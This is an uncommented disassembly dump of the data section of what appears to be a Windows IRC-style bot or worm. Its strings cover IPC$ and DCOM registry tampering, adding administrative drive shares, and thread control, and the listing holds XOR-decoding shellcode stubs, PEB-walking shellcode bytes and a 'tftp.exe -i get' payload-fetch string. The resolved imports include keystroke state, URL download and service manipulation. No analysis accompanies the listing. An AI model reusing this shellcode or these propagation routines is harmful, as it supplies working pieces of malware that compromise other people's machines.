db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
unk_437EA0 db 2 ; DATA XREF: sub_414500:loc_41462Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 10h
unk_437EF0 db 2 ; DATA XREF: sub_414500:loc_414613o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 4
unk_437F38 db 2 ; DATA XREF: sub_414500+10Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_414500+EDo
; sub_414826+EDo
align 10h
unk_437FA0 db 2 ; DATA XREF: sub_414500+91o
; sub_414826+91o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_437FE4 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_414500:loc_414573o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh
dd 6C626173h, 2E6465h
unk_438014 db 2 ; DATA XREF: sub_414500+6Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_414500+54o
; sub_414826+54o
align 4
word_438058 dw 4Eh ; DATA XREF: sub_414500+38r
align 4
unk_43805C db 2 ; DATA XREF: sub_414826+2C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_2 db '%c:\',0 ; DATA XREF: sub_414826+22Fo
align 4
aC_3 db '%c$',0 ; DATA XREF: sub_414826+21Eo
unk_4380A0 db 2 ; DATA XREF: sub_414826:loc_4149D3o
; sub_414826:loc_414A9Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_4380DC db 2 ; DATA XREF: sub_414826+1A6o
; sub_414826+271o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 10h
unk_438110 db 2 ; DATA XREF: sub_414826:loc_41494Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 10h
unk_438160 db 2 ; DATA XREF: sub_414826:loc_414935o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_4381A8 db 2 ; DATA XREF: sub_414826+108o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_4381F8 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_414826:loc_414899o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh
dd 656C6261h, 2E64h
unk_438228 db 2 ; DATA XREF: sub_414826+6Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 10h
word_438260 dw 59h ; DATA XREF: sub_414826+38r
align 8
loc_438268: ; DATA XREF: sub_414CD9+BEo
jmp short loc_43826C
; ---------------------------------------------------------------------------
loc_43826A: ; CODE XREF: .text:loc_43826Cp
jmp short loc_438271
; ---------------------------------------------------------------------------
loc_43826C: ; CODE XREF: .text:loc_438268j
call loc_43826A
loc_438271: ; CODE XREF: .text:loc_43826Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_438276 dw 0FFFFh ; DATA XREF: sub_414CD9+C6w
db 80h, 73h, 0Eh
byte_43827B db 0FFh ; DATA XREF: sub_414CD9+CDw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_438280: ; DATA XREF: sub_414CD9+9Co
jmp short loc_438284
; ---------------------------------------------------------------------------
loc_438282: ; CODE XREF: .text:loc_438284p
jmp short loc_438289
; ---------------------------------------------------------------------------
loc_438284: ; CODE XREF: .text:loc_438280j
call loc_438282
loc_438289: ; CODE XREF: .text:loc_438282j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_43828D db 0FFh ; DATA XREF: sub_414CD9+A4w
dw 7380h
db 0Ch
byte_438291 db 0FFh ; DATA XREF: sub_414CD9+AAw
dw 0E243h
dd 0F9h
dword_438298 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_414B62+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4382FC dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_414B62+79o
aJ_0 db 'j',0
db 0E8h
dword_438315 dd 17h ; ---------------------------------------------------------------------------
jnz short near ptr byte_43831C
retn
; ---------------------------------------------------------------------------
byte_43831C db 0E8h ; CODE XREF: .text:00438319j
dword_43831D dd 1 byte_438321 db 0, 6Ah, 0 ; DATA XREF: sub_414B62+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43832B dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_414E97+10o
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_415062+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415062+35o
dword_4383AC dd 29E2C0h dword_4383B0 dd 173Fh dd 9875h, 9873h
off_4383BC dd offset sub_415DD3 ; DATA XREF: sub_41781Ar
dd offset nullsub_2
dd offset nullsub_2
dword_4383C8 dd 1B3Fh dword_4383CC dd 19930520h, 417C03h, 0FFFFFFFFh, 12FFC0h, 0 ; sub_4162D6+2o
off_4383E0 dd offset sub_417858 ; DATA XREF: sub_417C0E+1Cr
dword_4383E4 dd 2 ; sub_41D7B5+46r ...
off_4383E8 dd offset aNull_0 ; DATA XREF: sub_417D6C:loc_4180D0r
; sub_417D6C+457r
; "(null)"
off_4383EC dd offset aNull ; DATA XREF: sub_417D6C+259r
; "(null)"
off_4383F0 dd offset word_4383FA ; DATA XREF: sub_4157F4+23r
; sub_4157F4:loc_415855r ...
dd offset word_4383FA
db 2 dup(0)
word_4383FA dw 20h ; DATA XREF: sub_41EF5D+18r
; .text:off_4383F0o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4385FC dd 1 ; sub_4157F4:loc_415840r ...
byte_438600 db 2Eh ; DATA XREF: sub_41A7A3:loc_41A7E3r
; sub_41A7FD+4r ...
align 4
dd 1, 10h, 0
off_438610 dd offset off_438610 ; DATA XREF: sub_4197BC+Do
; sub_4197BC+69o ...
off_438614 dd offset off_438610 ; DATA XREF: sub_4197BC:loc_41983Cr
; sub_4197BC+89w ...
dd offset dword_438628
dd offset dword_438628
dword_438620 dd 0FFFFFFFFh ; sub_419900:loc_41994Dw
dd 0FFFFFFFFh
dword_438628 dd 0F0h, 0F1h, 800h dup(0) ; .text:0043861Co
off_43A630 dd offset off_438610 ; DATA XREF: sub_419900+15r
; sub_419900+20w ...
dword_43A634 dd 1E0h ; sub_41737F+185r ...
dword_43A638 dd 14h off_43A63C dd offset aExp ; DATA XREF: sub_41A4EC:loc_41A509r
; "exp"
dd 1Dh, 4217D4h, 1Ah, 4217D0h, 1Bh, 4217C8h, 1Fh, 4217C0h
dd 13h, 4217B8h, 21h, 4217B0h, 0Eh, 4217A8h, 0Dh, 4217A0h
dd 0Fh, 421798h, 10h, 421790h, 5, 421788h, 1Eh, 421784h
dd 12h, 421780h, 20h, 42177Ch, 0Ch, 421774h, 0Bh, 42176Ch
dd 15h, 421764h, 1Ch, 42175Ch, 19h, 421754h, 11h, 42174Ch
dd 18h, 421744h, 16h, 42173Ch, 17h, 421734h, 22h, 421730h
dd 23h, 42172Ch, 24h, 421728h
dbl_43A710 dq 1.797693134862316e308 ; DATA XREF: sub_41A227+B7r
; sub_41A227:loc_41A30Er ...
dd 0
dd 0FFF80000h
dbl_43A720 dq 1.797693134862316e308 ; DATA XREF: sub_41A227+92r
; sub_41A227:loc_41A2E6r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43A738 dt 2.3562723457267347066e313 ; DATA XREF: sub_41A6D4+Dr
; sub_41A6D4+1Fr
align 4
tbyte_43A744 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41A6D4+31r
align 10h
off_43A750 dd offset sub_41AB68 ; DATA XREF: sub_415DEB+Fw
; sub_417D6C+3AAr
off_43A754 dd offset sub_41A7FD ; DATA XREF: sub_415DEB+5w
; sub_417D6C+3E2r
off_43A758 dd offset sub_41A863 ; DATA XREF: sub_415DEB+14w
; sub_41B605+430r
off_43A75C dd offset sub_41A7A3 ; DATA XREF: sub_415DEB+1Ew
; sub_417D6C+3CBr
off_43A760 dd offset sub_41A84B ; DATA XREF: sub_415DEB+28w
off_43A764 dd offset sub_41AB68 ; DATA XREF: sub_415DEB+32w
dd offset sub_41E79E
align 10h
dd offset sub_41B42C
off_43A774 dd offset sub_41B42C ; DATA XREF: sub_41B482+29r
dword_43A778 dd 0D2D0920h, 5Dhdword_43A780 dd 5Dh, 0 byte_43A788 db 1 ; DATA XREF: sub_41C85D+E1r
db 2, 4, 8
align 10h
dword_43A790 dd 3A4h dword_43A794 dd 82798260h, 21h, 0dword_43A7A0 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43A880 dd 1 ; sub_41CE74+Co
dword_43A884 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43A9E8 dd 0C0000005h ; sub_41D01C+Ar ...
dword_43A9EC dd 0Bh dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43AA60 dd 3 ; sub_41FB6B+C8r
dword_43AA64 dd 7 ; sub_41FB6B+CDr
dword_43AA68 dd 0Ah ; sub_41FC98+4r
dword_43AA6C dd 8Ch ; sub_41CEDB+8Fw ...
dword_43AA70 dd 0FFFFFFFFh, 0A00h ; sub_41C178:loc_41C1F9o
dword_43AA78 dd 2 ; sub_41D7B5+28r
off_43AA7C dd offset aR6002FloatingP ; DATA XREF: sub_41D7B5+FCr
; sub_41D7B5+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 421AF4h, 9, 421AC8h, 0Ah, 421AA4h, 10h, 421A78h
dd 11h, 421A48h, 12h, 421A24h, 13h, 4219F8h, 18h, 4219C0h
dd 19h, 421998h, 1Ah, 421960h, 1Bh, 421928h, 1Ch, 421900h
dd 78h, 4218F0h, 79h, 4218E0h, 7Ah, 4218D0h, 0FCh, 426A30h
dd 0FFh, 4218C0h
off_43AB08 dd offset dword_46BE00 ; DATA XREF: sub_41D7B5+1Bo
; sub_41D972+55o
dd 0
dd offset dword_46BE00
dd 101h
dword_43AB18 dd 0FFFFFFFFh, 0 dd 1000h, 0
dword_43AB28 dd 3 dup(0) ; sub_4187D6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43AB48 dd 3 dup(0) ; sub_4187D6:loc_4187F4o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43AB78 dd 84h dup(0) dword_43AD88 dd 2694h ; sub_419EDC+46r ...
align 10h
dword_43AD90 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43ADA8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43ADC0 dd 7080h ; sub_41EA02+5Ew ...
dword_43ADC4 dd 1 ; sub_41EA02+8Bw ...
dword_43ADC8 dd 0FFFFF1F0h ; sub_41EA02+94w ...
dword_43ADCC dd 545350h, 0Fh dup(0)dword_43AE0C dd 544450h, 0Fh dup(0)off_43AE4C dd offset dword_43ADCC ; DATA XREF: sub_41EA02+BAr
; sub_41EA02+D9r ...
off_43AE50 dd offset dword_43AE0C ; DATA XREF: sub_41EA02+F4r
; sub_41EA02+11Br ...
align 8
dword_43AE58 dd 0FFFFFFFFh ; sub_41EC60+1Er ...
dword_43AE5C dd 0 ; sub_41EE0C+BFw
dword_43AE60 dd 0 ; sub_41EE0C+E0w
align 8
dword_43AE68 dd 0FFFFFFFFh ; sub_41EC60+26r ...
dword_43AE6C dd 0 ; sub_41EE0C+EAw ...
dword_43AE70 dd 0 ; sub_41EE0C+23r ...
dword_43AE74 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43AEA4 dd 16Dh ; sub_41EE0C+2Er ...
dword_43AEA8 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43AEE0 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43B040 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41FFF0+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_43B1A0 dd offset off_421CE8 ; DATA XREF: .text:off_421D10o
; .text:00421E3Co ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_43B1B8 dd offset off_421CE8 ; DATA XREF: .text:off_421D28o
; .text:00421DBCo ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43B1D8 dd offset off_421CE8 ; DATA XREF: .text:off_421D40o
; .text:00421D84o ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_43B1F8 dd offset off_421CE8 ; DATA XREF: .text:off_421DC8o
; .text:00421E0Co ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43B218 dd offset off_421CE8 ; DATA XREF: .text:off_421E48o
; .text:00421E84o
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_41E79E
align 8
byte_43B238 db 0 ; DATA XREF: sub_401444+1C1w
; sub_401444+2C0o
align 2
word_43B23A dw 0 ; DATA XREF: sub_401444+1D1w
word_43B23C dw 0 ; DATA XREF: sub_401444+1D7w
word_43B23E dw 0 ; DATA XREF: sub_401444+1DEw
byte_43B240 db 0 ; DATA XREF: sub_401444+1E5w
byte_43B241 db 0 ; DATA XREF: sub_401444+1ECw
word_43B242 dw 0 ; DATA XREF: sub_401444+1F2w
dword_43B244 dd 0 ; sub_401444+23Ew
dword_43B248 dd 0 byte_43B24C db 0 ; DATA XREF: sub_401444+258w
byte_43B24D db 0 ; DATA XREF: sub_401444+26Bw
word_43B24E dw 0 ; DATA XREF: sub_401444+283w
word_43B250 dw 0 ; DATA XREF: sub_401444+292w
word_43B252 dw 0 ; DATA XREF: sub_401444+28Aw
dword_43B254 dd 100h dup(0) dword_43B654 dd 0 byte_43B658 db 0 ; DATA XREF: sub_402FCD+36r
; sub_4030B0+37r ...
align 4
dword_43B65C dd 0 ; sub_4036D2+30r ...
dword_43B660 dd 2 dup(0) dword_43B668 dd 0 ; sub_40CD3A+5B16o ...
dword_43B66C dd 0 ; sub_40597F+51r ...
dword_43B670 dd 0 ; .text:0040491Br ...
align 8
dword_43B678 dd 0 ; sub_407592+92w ...
dword_43B67C dd 0 ; sub_4078DF+D9w ...
dd 256h dup(0)
dword_43BFD8 dd 6 dup(0) ; sub_4076CB+129o ...
dword_43BFF0 dd 0 ; sub_4071B6+FFo
dword_43BFF4 dd 41h dup(0) dword_43C0F8 dd 41h dup(0) dword_43C1FC dd 0 ; sub_4071B6+111r
dword_43C200 dd 0 dword_43C204 dd 0 ; sub_4071B6+D2r
dword_43C208 dd 20h dup(0) ; sub_4071B6+B7o
dword_43C288 dd 0 dword_43C28C dd 0 ; sub_4071B6+C1w
dword_43C290 dd 0 align 8
dword_43C298 dd 0 ; sub_4071B6+32Eo
dword_43C29C dd 0A2h dup(0) dword_43C524 dd 41h dup(0) dword_43C628 dd 0 ; sub_4071B6+2E1r
align 10h
dword_43C630 dd 0 ; sub_4071B6+340r
dword_43C634 dd 0 dword_43C638 dd 0 dword_43C63C dd 0 dd 0
dword_43C644 dd 0 dword_43C648 dd 0 ; sub_4071B6+222o
dword_43C64C dd 41h dup(0) dword_43C750 dd 41h dup(0) dword_43C854 dd 0 ; sub_4071B6+234r
dword_43C858 dd 0 dword_43C85C dd 0 dword_43C860 dd 20h dup(0) ; sub_4071B6+1DAo
dword_43C8E0 dd 0 dword_43C8E4 dd 0 ; sub_4071B6+1E4w
dword_43C8E8 dd 0 dword_43C8EC dd 0 ; resolved to->GDI32.DeleteDC ; sub_40891C+4CDr
dword_43C8F0 dd 0 ; resolved to->KERNEL32.Module32First ; sub_413C50+EEr
dword_43C8F4 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_40891C+862r ...
dword_43C8F8 dd 0 ; sub_40891C+A18r ...
dword_43C8FC dd 0 ; sub_40891C+9E8r ...
dword_43C900 dd 0 ; resolved to->GDI32.SelectObject ; sub_40891C+4BDr
dword_43C904 dd 0 ; resolved to->USER32.GetKeyState ; sub_4021FB+108r ...
dword_43C908 dd 0 ; sub_40891C+A10r ...
dword_43C90C dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_40891C+3A9r ...
dword_43C910 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_40A9D8+11Er
dword_43C914 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_40891C+3B1r ...
dword_43C918 dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_413248+ADr
dword_43C91C dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_40840A+76r ...
dword_43C920 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_40891C+D2r ...
dword_43C924 dd 0 ; sub_40891C+9DBr ...
dword_43C928 dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_40891C+3C9r ...
dword_43C92C dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_40891C+88Er ...
dword_43C930 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_40891C+2A5w ...
dword_43C934 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_40891C+886r ...
dword_43C938 dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_43C93C dd 0 ; resolved to->WININET.InternetReadFile ; sub_40891C+896r ...
dword_43C940 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_40891C+52Fw ...
dword_43C944 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_40891C+CAr ...
dword_43C948 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_40A133+11Ar
dword_43C94C dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_40891C+A6Dr ...
dword_43C950 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_40891C+F2r
dword_43C954 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_40891C+4B5r
dword_43C958 dd 0 ; resolved to->WS2_32.ntohl ; sub_40891C+5D8w ...
dword_43C95C dd 0 ; sub_40891C+A08r
dword_43C960 dd 0 ; resolved to->WS2_32.ntohs ; sub_40891C+5CBw ...
dword_43C964 dd 0 ; sub_40891C+B21w
dword_43C968 dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_40891C+84Fr ...
dword_43C96C dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_409D12+15r
dword_43C970 dd 0 ; sub_40891C+9F0r ...
dword_43C974 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_40891C+3B9r ...
dword_43C978 dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_40891C+3C1r ...
dword_43C97C dd 0 ; sub_40891C+C5Dr
dword_43C980 dd 0 ; resolved to->WS2_32.getpeernamedword_43C984 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_4018CB:loc_401B47r ...
dword_43C988 dd 0 ; resolved to->GDI32.DeleteObjectdword_43C98C dd 0 ; sub_40891C+A20r ...
dword_43C990 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_40891C+2DEr ...
dword_43C994 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_40891C+DAr ...
dword_43C998 dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_40891C+B75r ...
dword_43C99C dd 0 ; resolved to->WS2_32.WSAStartup ; sub_4018CB+2Fr ...
